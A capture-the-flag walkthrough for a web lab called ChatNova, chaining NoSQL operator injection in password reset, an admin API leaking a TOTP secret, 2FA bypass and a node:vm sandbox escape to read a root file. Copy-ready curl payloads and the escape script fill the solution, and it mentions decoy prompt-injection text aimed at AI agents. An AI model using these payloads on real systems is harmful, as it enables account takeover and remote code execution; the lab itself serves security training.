Lab 325 — ChatNova
Lab 325 — ChatNova
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: broken_access_control_api, constructor_chain_traversal, decoy_flag_identification, file_read_rce, mongodb_query_operator_injection, node_vm_sandbox_escape, nosql_injection_ne_operator, password_reset_token_bypass, totp_secret_extraction
Summary
Walkthrough of the CUSTOM Web Lab 325 — ChatNova. Task: ChatNova team communication platform with user management, 2FA, and webhook integrations — 4-stage attack chain from unauthenticated to RCE. Solution: NoSQL injection in password reset token val
Description
ChatNova is a self-hosted team communication platform used by Nova Communications Inc. for internal messaging, file sharing, and collaboration. The platform features user management, channel-based messaging, direct messages, webhook integrations, and administrative controls. You have discovered a ChatNova instance running on the target. The landing page reveals the team roster with their email addresses. Your objective is to gain full control of the server and retrieve the flag.
English summary: A team chat platform (Express.js + MongoDB + nginx) with user management, channels, 2FA for admin, and webhook integrations with custom JavaScript handlers. No public registration. The goal is to go from unauthenticated to RCE and read /root/flag.txt. The attack chain spans 4 stages: NoSQL injection → broken access control → admin account takeover with 2FA bypass → node:vm sandbox escape via webhook.
Analysis
Reconnaissance
The landing page reveals team members and their email addresses, including support@chatnova.local (Sarah Mitchell, Support Specialist) and admin@chatnova.local (Marcus Chen, Platform Administrator). The platform does not offer public registration.
The login page contains JavaScript comments revealing the password reset API flow:
POST /api/v1/auth/forgot-password {email}— generates reset token stored in DBPOST /api/v1/auth/password-policy {token}— validates token before showing policy rulesPOST /api/v1/auth/reset-password {token, newPassword}— completes password reset
The robots.txt disclosed admin paths: /api/v1/admin/, /admin/users, /admin/integrations, /api/v1/webhooks/.
Decoy flag trap: Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments alongside prompt injection text designed to trick AI agents and automated scanners.
Vulnerability 1: NoSQL Injection in Password Reset Token Validation
The password-policy and reset-password endpoints pass the token parameter directly to a MongoDB query without type validation. Since the body is parsed as JSON, sending a MongoDB query operator object instead of a string bypasses the token check entirely.
Vulnerability 2: Broken Access Control on Admin API
The /api/v1/admin/users endpoint is accessible to regular (non-admin) users. It returns ALL user data including sensitive fields like services.totp.secret, leaking the admin's TOTP secret needed to bypass 2FA.
Vulnerability 3: node:vm Sandbox Escape
The admin panel allows creating webhook integrations with custom JavaScript handler scripts that run in a node:vm sandbox. However, node:vm is not a security sandbox — from Node.js docs: "The vm module is not a security mechanism. Do not use it to run untrusted code." The sandbox can be escaped via prototype chain traversal to access the main Node.js process and require arbitrary modules.
Solution
Stage 1: NoSQL Injection — Password Reset Token Bypass
Trigger a password reset for the support account:
bash read-only • copy allowedcurl -X POST https://TARGET/api/v1/auth/forgot-password \ -H "Content-Type: application/json" \ -d '{"email":"support@chatnova.local"}'
Verify the NoSQL injection works on the token validation endpoint:
bash read-only • copy allowedcurl -X POST https://TARGET/api/v1/auth/password-policy \ -H "Content-Type: application/json" \ -d '{"token":{"$ne":""}}' # Response: {"valid":true,"policy":{...}}
Reset the password using the same injection:
bash read-only • copy allowedcurl -X POST https://TARGET/api/v1/auth/reset-password \ -H "Content-Type: application/json" \ -d '{"token":{"$ne":""},"newPassword":"P@ssw0rd123!"}' # Response: {"message":"Password has been reset successfully"}
Log in as Sarah Mitchell (support@chatnova.local) with the new password. Role: user.
Stage 2: Information Disclosure — TOTP Secret Leak via Broken Access Control
The #engineering channel contained developer messages revealing:
- Webhook handler supports custom scripts running in "vm2 sandboxing"
- User search API uses MongoDB's native query operators with JSON parsed and passed directly to Mongoose
find()
The /api/v1/admin/users endpoint was accessible to regular users (broken access control), returning all user data including TOTP secrets:
bash read-only • copy allowedcurl https://TARGET/api/v1/admin/users \ -H "Cookie: connect.sid=SESSION_COOKIE"
Response included:
json read-only • copy allowed{ "_id": "6a037b285e55afc05616b16a", "username": "admin", "email": "admin@chatnova.local", "displayName": "Marcus Chen", "role": "admin", "services": { "totp": { "enabled": true, "secret": "JREXMQKKOURXU5S6N5EDGSDDPU5DKUDU" } } }
Stage 3: Admin Account Takeover — Password Reset + 2FA Bypass
Trigger password reset for admin and use NoSQL injection to reset it:
bash read-only • copy allowedcurl -X POST https://TARGET/api/v1/auth/forgot-password \ -H "Content-Type: application/json" \ -d '{"email":"admin@chatnova.local"}' curl -X POST https://TARGET/api/v1/auth/reset-password \ -H "Content-Type: application/json" \ -d '{"token":{"$exists":true,"$ne":null},"newPassword":"Adm1n@Hacked!99"}'
Generate a valid TOTP code using the leaked secret:
python read-only • copy allowedimport pyotp totp = pyotp.TOTP('JREXMQKKOURXU5S6N5EDGSDDPU5DKUDU') print(totp.now()) # e.g., 506667
Log in as admin with email + password + TOTP code:
bash read-only • copy allowedcurl -X POST https://TARGET/login \ -d "email=admin@chatnova.local&password=Adm1n@Hacked!99&totpCode=506667" \ -L -c cookies.txt # 302 redirect to /channels (success!)
Stage 4: RCE — node:vm Sandbox Escape via Webhook Handler
Create a webhook integration with a vm sandbox escape payload:
bash read-only • copy allowedcurl -X POST https://TARGET/api/v1/admin/integrations \ -H "Content-Type: application/json" \ -b cookies.txt \ -d '{ "name": "Test Integration", "type": "incoming", "description": "Test webhook", "channelId": "6a037b2a5e55afc05616b17a", "script": "const process = this.constructor.constructor(\"return this.process\")(); const fs = process.mainModule.require(\"fs\"); const flag = fs.readFileSync(\"/root/flag.txt\", \"utf8\"); return { text: flag, channel: \"general\" };" }'
The sandbox escape works by traversing the prototype chain:
this.constructor→ Object constructor (from sandbox context, but linked to main context).constructor→ Function constructor("return this.process")()→ creates and executes a function in the main context, returning the realprocessobjectprocess.mainModule.require("fs")→ loads the filesystem modulefs.readFileSync("/root/flag.txt", "utf8")→ reads the flag
Trigger the webhook:
bash read-only • copy allowedcurl -X POST https://TARGET/api/v1/webhooks/WEBHOOK_TOKEN \ -H "Content-Type: application/json" \ -d '{"test": "hello"}' # Response: {"success":true,"result":{"text":"FLAG{REDACTED}\n","channel":"general"}}
Key Takeaways / Lessons
- Mastering broken_access_control_api, constructor_chain_traversal, decoy_flag_identification, file_read_rce, mongodb_query_operator_injection, node_vm_sandbox_escape, nosql_injection_ne_operator, password_reset_token_bypass, totp_secret_extraction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-12 • CUSTOM • Lab 325 — ChatNova • Difficulty: Medium